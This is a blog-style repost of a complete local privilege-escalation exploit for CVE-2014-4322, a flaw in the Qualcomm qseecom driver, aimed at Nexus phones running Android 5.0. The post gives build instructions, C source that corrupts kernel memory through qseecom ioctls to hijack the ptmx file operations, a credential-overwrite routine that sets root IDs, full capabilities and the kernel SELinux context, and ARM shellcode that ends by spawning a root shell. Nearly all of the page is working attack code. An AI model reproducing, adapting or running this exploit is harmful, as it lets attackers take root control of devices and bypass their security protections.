Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863576638

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
 *              CVE-2014-4322 exploit  for Nexus Android 5.0
 *
 *              author:  retme   retme7@gmail.com
 *              website: retme.net
 *
 *				 The exploit must be excuted as system privilege and specific  SELinux  context.
 *				 If exploit successed,you will gain root privilege and "kernel" SELinux  context
 *
 *              bug info:
 *              	https://www.codeaurora.org/projects/security-advisories/memory-corruption-qseecom-driver-cve-2014-4322
 *
 *				 how to build:
 *
			 				    create an  Android.mk as follow:

									include $(CLEAR_VARS)
									include $(CLEAR_VARS)
									LOCAL_SRC_FILES:= ./msm.c \
																				 ./shellcode.S

									LOCAL_MODULE:= exploit
									#LOCAL_C_INCLUDES += $(common_includes)
									LOCAL_CPPFLAGS += -DDEBUG
									LOCAL_CFLAGS += -DDEBUG
									LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog

									include $(BUILD_EXECUTABLE)
									include $(BUILD_EXECUTABLE)

								create Application.mk as follow:

									APP_ABI := armeabi
									APP_PLATFORM := android-8
									APP_PIE:= true

								use  ndk-build to build the project

				usage:

							 run  exploit as  system privilege,with SELinux context  such as "keystore","vold","drmserver","mediaserver","surfaceflinger"
 *
 *							 If exploit successed,you will gain root privilege and "kernel" SELinux  context
 *
 *
 *                                           */
//=========================================msm.c=============================================
#include <string.h>
#include <jni.h>
#include <android/log.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <asm/ptrace.h>
#include <asm/user.h>
#include <asm/ptrace.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <dlfcn.h>
#include <dirent.h>
#include <unistd.h>
#include <linux/elf.h>
#include <linux/reboot.h>
#include <errno.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <linux/ptrace.h>
#include <linux/prctl.h>
#include <sys/system_properties.h>
#include <errno.h>
#include <termios.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <errno.h>
#include <linux/ion.h>

#include "../kernel.h"
#include "qseecom.h"

//4.4.2   CFW(for debug)
//#define PTMX_FOPS 0xc1334e00
//fnPrintk printk = 0xc0a0113c;

//Nexus Android 5.0  OFW
#define PTMX_DEVICE "/dev/ptmx"
#define PTMX_FOPS 0xc1236cd8
fnPrintk printk = 0xc0a21e78;

int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux);

int  kmemcmp(char *a1, char *a2, int len)
{
  int v3; // r3@2
  int v4; // r4@3
  int v5; // r5@3
  int result; // r0@4

  if ( len )
  {
    v3 = 0;
    while ( 1 )
    {
      v4 = a1[v3];
      v5 = a2[v3];
      if ( v4 != v5 )
        break;
      if ( a1[v3] )
      {
        ++v3;
        if ( len != v3 )
          continue;
      }
      goto LABEL_7;
    }
    result = v4 - v5;
  }
  else
  {
LABEL_7:
    result = 0;
  }
  return result;
}

int g_pid = 0;
int g_tgid = 0;



int open_ion(){
	int fd = open("/dev/ion",O_RDONLY);
    if (fd<0){
    	perror("open");
    }
    printf("ion fd  %d\n",fd);
    return fd;
}


// http://lwn.net/Articles/480055/

/*
 * struct ion_allocation_data {
	size_t len;
	size_t align;
	unsigned int heap_mask;
	unsigned int flags;
	struct ion_handle *handle;
};
 *
 *
 * */
#define ION_FLAG_SECURE (1<<31)

int alloc_ion_memory(int client_fd,int size,struct ion_handle** pphandle){
	int ret = -1;

	struct ion_allocation_data data;

// ION_FLAG_CACHED
	data.len = size;
	data.align = size;
	data.flags = ION_HEAP_TYPE_CARVEOUT ;
	//data.heap_mask = ION_HEAP_TYPE_CARVEOUT;
	//data.handle = handle;

	ret = ioctl(client_fd, ION_IOC_ALLOC, &data);
	if (ret<0){
		perror("ION_IOC_ALLOC");
	}
	*pphandle = data.handle;
	return ret;

}
/*
    struct ion_fd_data {
        struct ion_handle *handle;
        int fd;
   }
   */
int share_ion_memory(int client_fd,struct ion_handle* handle){
	struct ion_fd_data data;
	data.handle = handle;
	data.fd = -1;

	int ret = ioctl(client_fd, ION_IOC_SHARE, &data);


	return data.fd;

}




int obtain_dma_buf_fd(int size){
		int fd_device = open_ion();
		int dmf_fd = -1;

		struct ion_handle* handle;
		int ret = alloc_ion_memory(fd_device,size,&handle);
		if (ret<0){
			perror("alloc_ion_memory");
		}

		dmf_fd = share_ion_memory(fd_device,handle);

		if (dmf_fd<0){
			perror("share_ion_memory");
		}
		return dmf_fd;
}


void* fd_to_mmap(int fd,int size){


    void* seg_addr = mmap(0,
    					size	,
    					PROT_READ | PROT_WRITE,
    					MAP_SHARED,
                          fd,
                          0);

    if(seg_addr == MAP_FAILED){
    	perror("fd_to_map");
    }

	return seg_addr;
}



//c0a0113c T printk
void sayhello(){
	fnPrintk printk = 0xc0a0113c;
	printk("hell0 shellocde");
	return;
}

void shell_code2();

static int
run_obtain_root_privilege()
{
  int fd;
  int ret;

  fd = open(PTMX_DEVICE, O_WRONLY);
  if(fd<=0){perror("ptmx");return -1;}
  ret = fsync(fd);
  close(fd);

  return ret;
}


int main(int argc, char *argv[]){

        printf("mypid %d\n",getpid());
        int ret  = -1;

                        int  fd = open("/dev/qseecom", 0);
                        if (fd<0){
                        	perror("open");
                        	exit(-1);
                        }

                        void* abuseBuff = malloc(400);
                        memset(abuseBuff,0,400);

                        int* intArr = (int*)abuseBuff;
                        int j = 0;

                        for(j=0;j<24;j++){

                                        intArr[j] = 0x1;

                        }


                        struct qseecom_send_modfd_cmd_req ioctlBuff;

                        prctl(PR_SET_NAME, "GodFather", 0, 0, 0);

                       // if(0==fork()){

                            g_pid = getpid();
                            g_tgid = g_pid;
                            prctl(PR_SET_NAME, "ihoo.darkytools", 0, 0, 0);

                            //QSEECOM_IOCTL_SET_MEM_PARAM_REQ
                            struct qseecom_set_sb_mem_param_req req;
                            req.ifd_data_fd = obtain_dma_buf_fd(8192);

                            req.virt_sb_base = abuseBuff;
                            req.sb_len = 8192;

                            ret = ioctl(fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &req);
                            printf("QSEECOM_IOCTL_SET_MEM_PARAM_REQ return 0x%x \n",ret);

                            ioctlBuff.cmd_req_buf = abuseBuff;
                            ioctlBuff.cmd_req_len = 400;
                            ioctlBuff.resp_buf = abuseBuff;
                            ioctlBuff.resp_len = 400;
                            int i = 0;
                            for (i = 0;i<4;i++){
                            	ioctlBuff.ifd_data[i].fd = 0;
                            	ioctlBuff.ifd_data[i].cmd_buf_offset =0;
                            }
                            ioctlBuff.ifd_data[0].fd = req.ifd_data_fd;
                            ioctlBuff.ifd_data[0].cmd_buf_offset =   0;//(int)(0xc03f0ab4 + 8) - (int)abuseBuff;


                                printf("QSEECOM_IOCTL_SEND_CMD_REQ");
                                ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);


                                printf("return %p %p\n",intArr[0],intArr[1]);
                                perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
                                printf("ioctl return 0x%x \n",ret);

                                //*(int*)intArr[0] = 0x0;
                                void* addr = mmap(intArr[0],4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1,0);
                                printf("mmap return %p \n",addr);

                                *(int*)addr =  0xE3500000;
                                *((int*)((int)addr+4)) = 0xe1a0f00e;
                                memcpy(addr,shell_code2,400);

                                int* arr = (int*)addr;
                                for(i=0;i<10;i++){
                                	if(arr[i] == 0xeeeeeeee)
                                		arr[i] = (int)MyCommitCred;
                                	printf("%p\n",arr[i]);

                                }

                                //c1334e00 b ptmx_fops
                                ioctlBuff.ifd_data[0].cmd_buf_offset =   (int)(PTMX_FOPS + 14*4) - (int)abuseBuff;


                                printf("QSEECOM_IOCTL_SEND_CMD_REQ");
                                ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff);
                                printf("return %p %p\n",intArr[0],intArr[1]);
                                perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n");
                                printf("ioctl return 0x%x \n",ret);


                                run_obtain_root_privilege();


                                char * argv1[]={"sh",(char *)0};
                               int result =  execv("/system/bin/sh", argv1);
                                if(result){
                                                perror("execv");
                                }

        return 0;


}





int MyCommitCred(int ruid, int rgid, signed int a3, int isSelinux)
{

        int v38; // [sp+0h] [bp-60h]@1
        int addrBase;
        char szName[16] = "ihoo.darkytools";
        int offset;
        mycred *my_cred;
        mycred *my_real_cred;
        struct task_security_struct * tsec;
        int ret = -1;

        int searchLenth;

        isSelinux = 1;
        //return 0;
        addrBase = *(int*)(((int)(&v38) & 0xFFFFE000) + 0xC);
        //return addrBase;
        if ( addrBase > 0xBFFFFFFF )
        {

          offset = 0;
          while ( 1 )
          {
            addrBase += 4;
            if ( !kmemcmp(addrBase, szName, 16) )
              break;
            ++offset;
            if ( offset == 0x600 )
            {
              return 18;
            }
          }
        }
        else
                return 17;

        my_cred = *(int*)(addrBase -8);
        my_real_cred = *(int*)(addrBase -8 - 4);


        searchLenth = 0;
        while(searchLenth<0x20){


                        if(!my_cred || !my_real_cred
                                        || my_cred<0xBFFFFFFF || my_real_cred<0xBFFFFFFF
                                       ){
                                        //2.6?

                                        addrBase-=4;


                                        my_cred = *(int*)(addrBase-8 );
                                        my_real_cred = *(int*)(addrBase -8-4);

                        }
                        else
                                break;

                        searchLenth++;
        }

        if(searchLenth == 0x20)
                return 0X20;
                // fuck!! where is my cred???


        my_cred->uid = 0;
        my_cred->gid = 0;
        my_cred->suid = 0;
        my_cred->sgid = 0;
        my_cred->egid = 0;
        my_cred->euid = 0;
        my_cred->fsgid = 0;
        my_cred->fsuid = 0;
        my_cred->securebits=0;
        my_cred->cap_bset.cap[0] = -1;
        my_cred->cap_bset.cap[1] = -1;
        my_cred->cap_inheritable.cap[0] = -1;
        my_cred->cap_inheritable.cap[1] = -1;
        my_cred->cap_permitted.cap[0] = -1;
        my_cred->cap_permitted.cap[1] = -1;
        my_cred->cap_effective.cap[0] = -1;
        my_cred->cap_effective.cap[1] = -1;

        my_real_cred->uid = 0;
        my_real_cred->gid = 0;
        my_real_cred->suid = 0;
        my_real_cred->sgid = 0;
        my_real_cred->egid = 0;
        my_real_cred->euid = 0;
        my_real_cred->fsgid = 0;
        my_real_cred->fsuid = 0;
        my_real_cred->securebits=0;
        my_real_cred->cap_bset.cap[0] = -1;
        my_real_cred->cap_bset.cap[1] = -1;
        my_real_cred->cap_inheritable.cap[0] = -1;
        my_real_cred->cap_inheritable.cap[1] = -1;
        my_real_cred->cap_permitted.cap[0] = -1;
        my_real_cred->cap_permitted.cap[1] = -1;
        my_real_cred->cap_effective.cap[0] = -1;
        my_real_cred->cap_effective.cap[1] = -1;


        if(isSelinux){

                        tsec = my_cred->security;

                        if(tsec && tsec > 0xBFFFFFFF){
                                        tsec->sid = 1;
                                        tsec->exec_sid = 1;

                                        ret = 15;
                        }
                        else {
                                        tsec = (struct task_security_struct*)(*(int*)(0x10 +  (int)&my_cred->security));

                                        if(tsec && tsec > 0xBFFFFFFF){
                                                                            tsec->sid = 1;
                                                                            tsec->exec_sid = 1;

                                                                            ret = 15;
                                                            }
                        }


                        tsec = my_real_cred->security;

                        if(tsec && tsec > 0xBFFFFFFF){
                                        tsec->sid = 1;
                                        tsec->exec_sid = 1;

                                        ret = 15;
                        }else {
                                        tsec = (struct task_security_struct*)(*(int*)(0x10 +  (int)&my_real_cred->security));

                                        if(tsec && tsec > 0xBFFFFFFF){
                                                                            tsec->sid = 1;
                                                                            tsec->exec_sid = 1;

                                                                            ret = 15;
                                                            }
                        }



        }
        else{
                        ret = 16;
        }
        printk("return %d",ret);
        return ret;
}
//=========================================msm.c   end=============================================
//=========================================shellcode.S   start=============================================
#define __ASSEMBLY__
#include  <linux/linkage.h>

.extern sayhello


ENTRY(shell_code2)
                      ldr r0, [pc , #4]
                      STMFD  SP!, {R0}
                      LDMFD   SP!, {PC}
 .byte 0xee, 0xee, 0xee, 0xee
//=========================================shellcode.S   end=============================================